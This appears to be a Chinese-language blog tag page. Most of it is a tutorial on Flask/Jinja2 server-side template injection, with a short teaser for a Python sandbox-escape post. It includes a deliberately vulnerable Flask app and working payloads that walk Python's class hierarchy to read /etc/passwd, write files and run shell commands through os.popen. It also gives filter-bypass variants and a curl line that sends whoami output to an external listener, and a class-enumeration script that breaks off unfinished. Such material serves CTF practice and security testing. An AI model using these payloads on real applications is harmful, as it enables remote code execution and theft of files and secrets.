标签 SSTI 下的文章

Python 沙箱逃逸总结一下

前言

python沙箱逃逸主要是用于一些沙箱环境,如一些OJ或者一些在线交互终端,以及jinja2这种python模板解释器

沙箱一般是限制指定函数的运行,或者对指定模块的删除以及过滤

沙箱逃逸就是要逃离这种限制,让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的

- 阅读剩余部分 -

深入Flask&jinja2的SSTI

前言

没啥好说的……

常见的模板引擎php的Twig 和 Flask的jinja2

这里主要说一下Flask的jinja2

例子

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

存在ssti地方很有可能存在xss。

原理

大致原理是[],{},''是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。

import os

a = 'archerx'

def test():
    print('this is the test.')


print(test.__globals__)

print(test.__globals__['__builtins__'].eval("print('yes')"))

输出如下:

{'test': <function test at 0x00875198>, '__doc__': None, '__loader__': <_frozen_importlib.SourceFileLoader object at 0x008347F0>, 'os': <module 'os' from 'C:\\Python34\\lib\\os.py'>, '__package__': None, '__cached__': None, '__file__': 'F:/pycharm/test/test1/test1.py', '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, 'a': 'archerx'}
yes

可以发现在__globals__中会包括引入的moudels,并且每个Python脚本会自动加载builtins这个模块,这个模块中包含了很多built-in函数,包括eval,exec,open等。

接下来来了解Python中一些常见的特殊方法:

  • __class__返回调用的参数类型。
  • __base__返回基类
  • __mro__允许我们在当前Python环境下追溯继承树
  • __subclasses__()返回子类
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Archerx
# @time: 2019/1/26 下午 03:33
import os
a = 'archerx'

def test():
    print('this is the test.')

class test1(object):
    def __init__(self):
        pass

class test2(test1):
    def __init__(self):
        pass

print(test.__globals__)
print(test.__globals__['__builtins__'].eval("print('yes')"))   #
print(test.__class__)  #返回调用的参数类型   <class 'function'>
print(test1.__bases__)  #返回该类的基类   (<class 'object'>,)
print(test1.__subclasses__())  #返回该类的子类   [<class '__main__.test2'>]

jinja2获取基类的方法有下面几种(先获取当前类然后向后追溯):

print(''.__class__.__mro__)  #(<class 'str'>, <class 'object'>)
print(''.__class__.__mro__[1])  #<class 'object'>
#下面这几个用__bases__或者__mro__都能获取基类
print({}.__class__.__bases__[0])    #<class 'object'>
print(().__class__.__bases__[0])   #<class 'object'>
print([].__class__.__bases__[0])    #<class 'object'>

现在我们的思路就是从一个==内置变量==调用__class__.__base__等隐藏属性,去找到一个函数,然后调用其__globals__['__builtins__']即可调用eval等执行任意代码。

内置变量包括'' , {} , []这些都是可以的。

返回基类所有子类的列表:

>>> ''.__class__.__base__.__subclasses__()
[<class 'NoneType'>, <class 'itertools.count'>, <class 'urllib3.packages.six._LazyDescr'>, <class 'requests.sessions.SessionRedirectMixin'>, <class '_ctypes.CThunkObject'>, <class 'Struct'>, <class 'dict'>, <class 'itertools.compress'>, <class 'tarfile.TarIter'>, <class 'string.Template'>, <class 'tarfile._StreamProxy'>, <class '_collections._deque_iterator'>, <class '_thread._local'>, <class 'functools.partialmethod'>, <class 'email.message._IsAttachment'>, <class 'threading.Semaphore'>, <class 'dict_items'>, <class 'pkgutil.ImpLoader'>, <class 'chardet.charsetprober.CharSetProber'>, <class 'chardet.chardistribution.CharDistributionAnalysis'>, <class 'wrapper_descriptor'>, <class 'collections.abc.Sized'>, <class 'datetime.tzinfo'>, <class '_frozen_importlib._LoaderBasics'>, <class 'urllib3.connection.HTTPConnection'>, <class '_frozen_importlib.ModuleSpec'>, <class 'ellipsis'>, <class 'logging.BufferingFormatter'>, <class 'tarfile._Stream'>, <class 'requests.adapters.BaseAdapter'>, <class 'os._wrap_close'>, <class 'bytearray_iterator'>, <class 'textwrap.TextWrapper'>, <class 'threading.Event'>, <class '_ctypes.DictRemover'>, <class 'stderrprinter'>, <class '_io.IncrementalNewlineDecoder'>, <class 'itertools.islice'>, <class 'itertools.product'>, <class 'types.SimpleNamespace'>, <class 'dict_keyiterator'>, <class 'logging.Manager'>, <class 'method_descriptor'>, <class 'cell'>, <class 'logging.Formatter'>, <class '_bz2.BZ2Decompressor'>, <class 'zipfile._ZipDecrypter'>, <class 'itertools.takewhile'>, <class '_frozen_importlib._ManageReload'>, <class 'mimetypes.MimeTypes'>, <class 'MultibyteStreamWriter'>, <class 'list_iterator'>, <class 'ctypes.CDLL'>, <class 'reversed'>, <enum 'Enum'>, <class 'threading.Thread'>, <class '_frozen_importlib.WindowsRegistryFinder'>, <class 'builtin_function_or_method'>, <class 'itertools.permutations'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'str'>, <class 'operator.attrgetter'>, <class 'email.feedparser.BufferedSubFile'>, <class 'contextlib.suppress'>, <class 'urllib3.util.selectors.BaseSelector'>, <class 'logging.Filter'>, <class 'urllib3.util.retry.Retry'>, <class 'sre_parse.Tokenizer'>, <class 'PyHKEY'>, <class 'queue.Queue'>, <class 'code'>, <class 'list'>, <class 'uuid.UUID'>, <class 'tarfile.TarFile'>, <class 'sre_parse.SubPattern'>, <class 'weakref'>, <class '_thread._localdummy'>, <class 'super'>, <class 'zip'>, <class 'contextlib.ContextDecorator'>, <class 'zipfile.LZMADecompressor'>, <class 'MultibyteStreamReader'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.FileFinder'>, <class '_ssl._SSLSocket'>, <class 'weakproxy'>, <class 'datetime.date'>, <class 'property'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'traceback'>, <class 'chardet.jpcntx.JapaneseContextAnalysis'>, <class 'collections.abc.Hashable'>, <class 'itertools.accumulate'>, <class 'http.cookiejar.CookieJar'>, <class 'range_iterator'>, <class 'datetime.timedelta'>, <class 'float'>, <class 'frozenset'>, <class '_ctypes._CData'>, <class 'chardet.enums.LanguageFilter'>, <class 'urllib3.response.DeflateDecoder'>, <class 're.Scanner'>, <class 'tuple_iterator'>, <class 'email.charset.Charset'>, <class 'getset_descriptor'>, <class '_sitebuiltins._Printer'>, <class 'urllib.request.URLopener'>, <class 'reprlib.Repr'>, <class 'module'>, <class 'hmac.HMAC'>, <class 'http.cookiejar.Absent'>, <class 'operator.methodcaller'>, <class 'chardet.enums.SequenceLikelihood'>, <class 'EncodingMap'>, <class 'subprocess.STARTUPINFO'>, <class 'copy._EmptyClass'>, <class 'zipfile.LZMACompressor'>, <class 'method-wrapper'>, <class 'zipfile.ZipInfo'>, <class 'memoryview'>, <class '_ctypes.CField'>, <class '_sre.SRE_Pattern'>, <class 'NotImplementedType'>, <class 'MultibyteCodec'>, <class 'datetime.timedelta'>, <class 'frame'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'range'>, <class 'urllib3.util.timeout.Timeout'>, <class 'requests.models.RequestEncodingMixin'>, <class '_frozen_importlib._SpecMethods'>, <class 'mappingproxy'>, <class 'itertools._grouper'>, <class 'calendar._localized_month'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class '_bz2.BZ2Compressor'>, <class 'weakref.finalize._Info'>, <class 'itertools.filterfalse'>, <class 'datetime.date'>, <class '_collections._deque_reverse_iterator'>, <class 'email.header._ValueFormatter'>, <class '_lzma.LZMADecompressor'>, <class 'contextlib.closing'>, <class '_frozen_importlib.PathFinder'>, <class 'collections.deque'>, <class 'set'>, <class 'chardet.codingstatemachine.CodingStateMachine'>, <class 'bytes_iterator'>, <class 'codecs.StreamRecoder'>, <class 'instancemethod'>, <class '__future__._Feature'>, <class 'dict_itemiterator'>, <class '_sre.SRE_Match'>, <class 'tarfile._FileInFile'>, <class 'urllib3.connection.DummyConnection'>, <class 'complex'>, <class 'dict_valueiterator'>, <class 'BaseException'>, <class 'sre_parse.Pattern'>, <class 'urllib3.packages.six._SixMetaPathImporter'>, <class 'codecs.IncrementalDecoder'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class '_frozen_importlib._NamespaceLoader'>, <class 'staticmethod'>, <class 'enumerate'>, <class 'http.cookiejar.Cookie'>, <class '_hashlib.HASH'>, <class 'itertools.cycle'>, <class 'email.header.Header'>, <class 'tarfile._LowLevelFile'>, <class 'calendar.Calendar'>, <class 'tempfile._TemporaryFileCloser'>, <class 'list_reverseiterator'>, <class 'itertools.zip_longest'>, <class '_frozen_importlib._installed_safely'>, <class 'tuple'>, <class 'weakcallableproxy'>, <class 'email.feedparser.FeedParser'>, <class 'itertools.chain'>, <class 'warnings.catch_warnings'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'http.cookiejar.CookiePolicy'>, <class '_json.Encoder'>, <class 'slice'>, <class 'urllib3.request.RequestMethods'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'zipfile.ZipFile'>, <class 'codecs.IncrementalEncoder'>, <class 'contextlib.ExitStack'>, <class 'logging.Filterer'>, <class 'threading._RLock'>, <class 'managedbuffer'>, <class 'ipaddress._BaseV4'>, <class 'logging.PercentStyle'>, <class 'itertools._tee'>, <class 'zlib.Compress'>, <class 'tempfile._RandomNameSequence'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'MultibyteIncrementalDecoder'>, <class 'dict_keys'>, <class 'email.message.Message'>, <class 'moduledef'>, <class 'codecs.Codec'>, <class '_frozen_importlib._ImportLockContext'>, <class 'calendar.different_locale'>, <class 'ipaddress._BaseV6'>, <class 'warnings.WarningMessage'>, <class 'function'>, <class 'bytes'>, <class 'email.parser.Parser'>, <class 'dict_values'>, <class 'calendar._localized_day'>, <class '_io._BytesIOBuffer'>, <class '_random.Random'>, <class 'int'>, <class 'filter'>, <class 'iterator'>, <class 'chardet.enums.ProbingState'>, <class 'urllib3.response.GzipDecoder'>, <class '_frozen_importlib._ModuleLock'>, <class 'email.parser.BytesParser'>, <class 'urllib.parse._ResultMixinStr'>, <class 'itertools._tee_dataobject'>, <class '_frozen_importlib.ExtensionFileLoader'>, <class '_sitebuiltins._Helper'>, <class 'map'>, <class 'collections._Link'>, <class 'str_iterator'>, <class 'functools.partial'>, <class '_json.Scanner'>, <class 'datetime.time'>, <class '_lzma.LZMACompressor'>, <class 'PyCapsule'>, <class '_ssl._SSLContext'>, <class 'chardet.enums.MachineState'>, <class 'email._policybase._PolicyBase'>, <class 'collections.abc.Container'>, <class 'unicodedata.UCD'>, <class 'threading.Condition'>, <class 'urllib.request.BaseHandler'>, <class 'urllib3.fields.RequestField'>, <class 'subprocess.Popen'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'itertools.combinations_with_replacement'>, <class 'requests.models.RequestHooksMixin'>, <class '_thread.RLock'>, <class 'longrange_iterator'>, <class 'logging.LogRecord'>, <class '_socket.socket'>, <class 'urllib.request.ftpwrapper'>, <class 'string.Formatter'>, <class '_weakrefset._IterationGuard'>, <class 'itertools.combinations'>, <class 'bytearray'>, <class '_weakrefset.WeakSet'>, <class 'contextlib.redirect_stdout'>, <class 'collections.abc.Iterable'>, <class 'zlib.Decompress'>, <class 'logging.LoggerAdapter'>, <class 'urllib.request.OpenerDirector'>, <class 'ctypes.LibraryLoader'>, <class 'requests.cookies.MockRequest'>, <class 'weakref.finalize'>, <class '_sre.SRE_Scanner'>, <class 'requests.auth.AuthBase'>, <class 'email._parseaddr.AddrlistClass'>, <class 'logging.PlaceHolder'>, <class 'requests.cookies.MockResponse'>, <class 'member_descriptor'>, <class 'itertools.groupby'>, <class 'classmethod_descriptor'>, <class 'requests.models.Response'>, <class 'type'>, <class '_frozen_importlib._NamespacePath'>, <class 'operator.itemgetter'>, <class 'urllib.request.Request'>, <class 'classmethod'>, <class 'itertools.dropwhile'>, <class '_winapi.Overlapped'>, <class 'CArgObject'>, <class '_thread.lock'>, <class 'fieldnameiterator'>, <class '_frozen_importlib.FrozenImporter'>, <class 'ipaddress._IPAddressBase'>, <class 'chardet.universaldetector.UniversalDetector'>, <class 'MultibyteIncrementalEncoder'>, <class 'generator'>, <class '_io._IOBase'>, <class 'json.encoder.JSONEncoder'>, <class 'chardet.enums.InputState'>, <class 'formatteriterator'>, <class 'collections.abc.Callable'>, <class 'itertools.repeat'>, <class 'callable_iterator'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib.FileLoader'>, <class 'set_iterator'>, <class '_sitebuiltins.Quitter'>, <class 'chardet.enums.CharacterCategory'>, <class 'datetime.tzinfo'>, <class 'http.client.HTTPConnection'>, <class 'tokenize.Untokenizer'>, <class 'codecs.StreamReaderWriter'>, <class 'itertools.starmap'>, <class 'tarfile.TarInfo'>, <class 'types.DynamicClassAttribute'>, <class 'pkgutil.ImpImporter'>, <class 'method'>, <class 'threading.Barrier'>, <class 'abc.ABC'>, <class 'json.decoder.JSONDecoder'>, <class 'zipimport.zipimporter'>]

随便找个类查看一下__init__

>>> ''.__class__.__base__.__subclasses__()[26].__init__
<slot wrapper '__init__' of 'object' objects>

>>> ''.__class__.__base__.__subclasses__()[26].__init__.__globals__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'

wrapper 代表这个类没有被重载过,这是他不算是function,不具有__globals__属性。

换一下前面数字直到这到一个被重载的类:

>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__
{'MAGIC_NUMBER': b'\xee\x0c\r\n', '_gcd_import': <function _gcd_import at 0x004D9ED0>, 'spec_from_file_location': <function spec_from_file_location at 0x004D0FA8>, '_find_spec': <function _find_spec at 0x004D9DB0>, '_imp': <module '_imp' (built-in)>, '_lock_unlock_module': <function _lock_unlock_module at 0x004D0780>, '_find_spec_legacy': <function _find_spec_legacy at 0x004D9D68>, 'marshal': <module 'marshal' (built-in)>, 'ExtensionFileLoader': <class '_frozen_importlib.ExtensionFileLoader'>, 'FrozenImporter': <class '_frozen_importlib.FrozenImporter'>, '_blocking_on': {}, '_get_sourcefile': <function _get_sourcefile at 0x004D08A0>, '_code_to_bytecode': <function _code_to_bytecode at 0x004D0B70>, '__import__': <function __import__ at 0x004DB030>, 'DEBUG_BYTECODE_SUFFIXES': ['.pyc'], '_DeadlockError': <class '_frozen_importlib._DeadlockError'>, 'ModuleSpec': <class '_frozen_importlib.ModuleSpec'>, '_validate_bytecode_header': <function _validate_bytecode_header at 0x004D0AE0>, '_wrap': <function _wrap at 0x004D0270>, 'BuiltinImporter': <class '_frozen_importlib.BuiltinImporter'>, '_ImportLockContext': <class '_frozen_importlib._ImportLockContext'>, '_installed_safely': <class '_frozen_importlib._installed_safely'>, '_compile_bytecode': <function _compile_bytecode at 0x004D0B28>, 'SourceFileLoader': <class '_frozen_importlib.SourceFileLoader'>, '_path_isfile': <function _path_isfile at 0x004D0198>, '_requires_builtin': <function _requires_builtin at 0x004D09C0>, '_NamespacePath': <class '_frozen_importlib._NamespacePath'>, '_install': <function _install at 0x004DB108>, '_path_stat': <function _path_stat at 0x004D0108>, '_RAW_MAGIC_NUMBER': 168627438, '_weakref': <module '_weakref' (built-in)>, '_spec_from_module': <function _spec_from_module at 0x004D3030>, '_load_module_shim': <function _load_module_shim at 0x004D0A98>, '_winreg': <module 'winreg' (built-in)>, 'OPTIMIZED_BYTECODE_SUFFIXES': ['.pyo'], '_path_join': <function _path_join at 0x004D0078>, '__loader__': <class '_frozen_importlib.FrozenImporter'>, '_io': <module 'io' (built-in)>, '_find_module_shim': <function _find_module_shim at 0x004D0A50>, '_calc_mode': <function _calc_mode at 0x004D08E8>, '_get_supported_file_loaders': <function _get_supported_file_loaders at 0x004D9FA8>, '_thread': <module '_thread' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_handle_fromlist': <function _handle_fromlist at 0x004D9F18>, '_ModuleLock': <class '_frozen_importlib._ModuleLock'>, '_write_atomic': <function _write_atomic at 0x004D0228>, '_path_is_mode_type': <function _path_is_mode_type at 0x004D0150>, '_SpecMethods': <class '_frozen_importlib._SpecMethods'>, '_code_type': <class 'code'>, '_setup': <function _setup at 0x004DB0C0>, '__builtins__': {'IsADirectoryError': <class 'IsADirectoryError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'hash': <built-in function hash>, 'BufferError': <class 'BufferError'>, 'min': <built-in function min>, 'IndexError': <class 'IndexError'>, 'BytesWarning': <class 'BytesWarning'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'abs': <built-in function abs>, '__build_class__': <built-in function __build_class__>, 'RuntimeError': <class 'RuntimeError'>, 'setattr': <built-in function setattr>, 'ImportError': <class 'ImportError'>, 'ConnectionError': <class 'ConnectionError'>, 'super': <class 'super'>, 'vars': <built-in function vars>, 'GeneratorExit': <class 'GeneratorExit'>, '__import__': <built-in function __import__>, 'all': <built-in function all>, 'EnvironmentError': <class 'OSError'>, 'next': <built-in function next>, 'FloatingPointError': <class 'FloatingPointError'>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'dict': <class 'dict'>, 'FileExistsError': <class 'FileExistsError'>, 'MemoryError': <class 'MemoryError'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'ChildProcessError': <class 'ChildProcessError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UserWarning': <class 'UserWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'str': <class 'str'>, 'classmethod': <class 'classmethod'>, 'zip': <class 'zip'>, 'chr': <built-in function chr>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'memoryview': <class 'memoryview'>, 'any': <built-in function any>, 'SyntaxError': <class 'SyntaxError'>, 'id': <built-in function id>, 'BlockingIOError': <class 'BlockingIOError'>, 'tuple': <class 'tuple'>, 'InterruptedError': <class 'InterruptedError'>, 'open': <built-in function open>, 'hasattr': <built-in function hasattr>, 'ReferenceError': <class 'ReferenceError'>, 'set': <class 'set'>, 'reversed': <class 'reversed'>, 'AssertionError': <class 'AssertionError'>, 'bytes': <class 'bytes'>, 'sorted': <built-in function sorted>, 'eval': <built-in function eval>, 'format': <built-in function format>, 'bin': <built-in function bin>, 'quit': Use quit() or Ctrl-Z plus Return to exit, 'NotImplemented': NotImplemented, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'repr': <built-in function repr>, 'ConnectionResetError': <class 'ConnectionResetError'>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'OSError': <class 'OSError'>, 'float': <class 'float'>, 'TypeError': <class 'TypeError'>, 'isinstance': <built-in function isinstance>, 'iter': <built-in function iter>, 'None': None, 'issubclass': <built-in function issubclass>, 'filter': <class 'filter'>, 'object': <class 'object'>, 'complex': <class 'complex'>, 'pow': <built-in function pow>, 'hex': <built-in function hex>, 'sum': <built-in function sum>, 'compile': <built-in function compile>, 'ascii': <built-in function ascii>, 'delattr': <built-in function delattr>, 'bytearray': <class 'bytearray'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'WindowsError': <class 'OSError'>, 'len': <built-in function len>, 'ValueError': <class 'ValueError'>, 'frozenset': <class 'frozenset'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'IOError': <class 'OSError'>, 'Exception': <class 'Exception'>, 'IndentationError': <class 'IndentationError'>, '_': None, 'NotADirectoryError': <class 'NotADirectoryError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'oct': <built-in function oct>, 'print': <built-in function print>, 'max': <built-in function max>, 'True': True, 'bool': <class 'bool'>, 'input': <built-in function input>, 'license': Type license() to see the full license text, 'locals': <built-in function locals>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), 'ArithmeticError': <class 'ArithmeticError'>, 'enumerate': <class 'enumerate'>, 'dir': <built-in function dir>, 'OverflowError': <class 'OverflowError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'BaseException': <class 'BaseException'>, 'AttributeError': <class 'AttributeError'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'TabError': <class 'TabError'>, 'EOFError': <class 'EOFError'>, 'exit': Use exit() or Ctrl-Z plus Return to exit, 'ImportWarning': <class 'ImportWarning'>, '__debug__': True, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'map': <class 'map'>, 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
    for supporting Python development.  See www.python.org for more information., 'exec': <built-in function exec>, 'getattr': <built-in function getattr>, 'staticmethod': <class 'staticmethod'>, 'False': False, 'Warning': <class 'Warning'>, 'PermissionError': <class 'PermissionError'>, 'UnicodeError': <class 'UnicodeError'>, 'type': <class 'type'>, '__name__': 'builtins', 'ResourceWarning': <class 'ResourceWarning'>, 'KeyError': <class 'KeyError'>, 'help': Type help() for interactive help, or help(object) for help about object., '__package__': '', 'globals': <built-in function globals>, 'TimeoutError': <class 'TimeoutError'>, 'SystemExit': <class 'SystemExit'>, 'callable': <built-in function callable>, 'range': <class 'range'>, 'LookupError': <class 'LookupError'>, 'property': <class 'property'>, 'copyright': Copyright (c) 2001-2015 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'ord': <built-in function ord>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'SystemError': <class 'SystemError'>, 'list': <class 'list'>, 'divmod': <built-in function divmod>, 'int': <class 'int'>, 'StopIteration': <class 'StopIteration'>, 'Ellipsis': Ellipsis}, '_path_split': <function _path_split at 0x004D00C0>, '_r_long': <function _r_long at 0x004D0030>, 'WindowsRegistryFinder': <class '_frozen_importlib.WindowsRegistryFinder'>, '__file__': 'C:\\Python34\\lib\\importlib\\_bootstrap.py', '_call_with_frames_removed': <function _call_with_frames_removed at 0x004D07C8>, '_ModuleLockManager': <class '_frozen_importlib._ModuleLockManager'>, '_calc___package__': <function _calc___package__ at 0x004D9F60>, 'source_from_cache': <function source_from_cache at 0x004D0858>, '_check_name': <function _check_name at 0x004D0978>, '_get_module_lock': <function _get_module_lock at 0x004D0300>, 'cache_from_source': <function cache_from_source at 0x004D0810>, 'FileLoader': <class '_frozen_importlib.FileLoader'>, '_CASE_INSENSITIVE_PLATFORMS': ('win', 'cygwin', 'darwin'), '_make_relax_case': <function _make_relax_case at 0x00499F60>, '_requires_frozen': <function _requires_frozen at 0x004D0A08>, '_find_and_load_unlocked': <function _find_and_load_unlocked at 0x004D9E40>, 'spec_from_loader': <function spec_from_loader at 0x004D0C48>, '_verbose_message': <function _verbose_message at 0x004D0930>, 'SourceLoader': <class '_frozen_importlib.SourceLoader'>, '_path_isdir': <function _path_isdir at 0x004D01E0>, '_NamespaceLoader': <class '_frozen_importlib._NamespaceLoader'>, '_PYCACHE': '__pycache__', '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>), 'BYTECODE_SUFFIXES': ['.pyc'], '_fix_up_module': <function _fix_up_module at 0x004D3078>, '_DummyModuleLock': <class '_frozen_importlib._DummyModuleLock'>, '_LoaderBasics': <class '_frozen_importlib._LoaderBasics'>, '_module_locks': {}, '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', 'sys': <module 'sys' (built-in)>, 'EXTENSION_SUFFIXES': ['.pyd'], '_relax_case': <function _make_relax_case.<locals>._relax_case at 0x00499A08>, 'decode_source': <function decode_source at 0x004D0BB8>, '_new_module': <function _new_module at 0x004D02B8>, 'path_separators': '\\/', '_ManageReload': <class '_frozen_importlib._ManageReload'>, '_ERR_MSG_PREFIX': 'No module named ', 'SourcelessFileLoader': <class '_frozen_importlib.SourcelessFileLoader'>, 'SOURCE_SUFFIXES': ['.py', '.pyw'], 'path_sep': '\\', '_find_and_load': <function _find_and_load at 0x004D9E88>, '__name__': 'importlib._bootstrap', '_builtin_from_name': <function _builtin_from_name at 0x004DB078>, '_module_repr': <function _module_repr at 0x004D0C00>, '__package__': 'importlib', '_ERR_MSG': 'No module named {!r}', '_sanity_check': <function _sanity_check at 0x004D9DF8>, '_os': <module 'nt' (built-in)>, '_POPULATE': <object object at 0x004D2020>, '_resolve_name': <function _resolve_name at 0x004D3348>, 'PathFinder': <class '_frozen_importlib.PathFinder'>, 'FileFinder': <class '_frozen_importlib.FileFinder'>, '_warnings': <module '_warnings' (built-in)>, '_w_long': <function _w_long at 0x00499FA8>}

然后就能直接调用eval函数:

>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__['__builtins__']['eval']("print('archerx')")
archerx

python2

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("hello world") }}

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

用脚本去遍历可以进行执行命令的类及隐藏属性,代码如下:

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:

过滤绕过

过滤中括号

使用getitem()绕过

''.__class__.__mro__.__getitem__(2)
过滤[
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

获取chr函数,赋值给chr, 然后拼接字符串:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双下划线

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

可以利用{%%}标记,可利用curl将执行结果带出来

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

特殊情况

有的ctf可能把flag藏在全局配置变量中,如下代码:

app.config['SECRET_KEY'] = "flag{s5Ti_1s_s0_f5n}"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

payload:

http://localhost/{{config}}
# 查看全部环境变量

参考

preView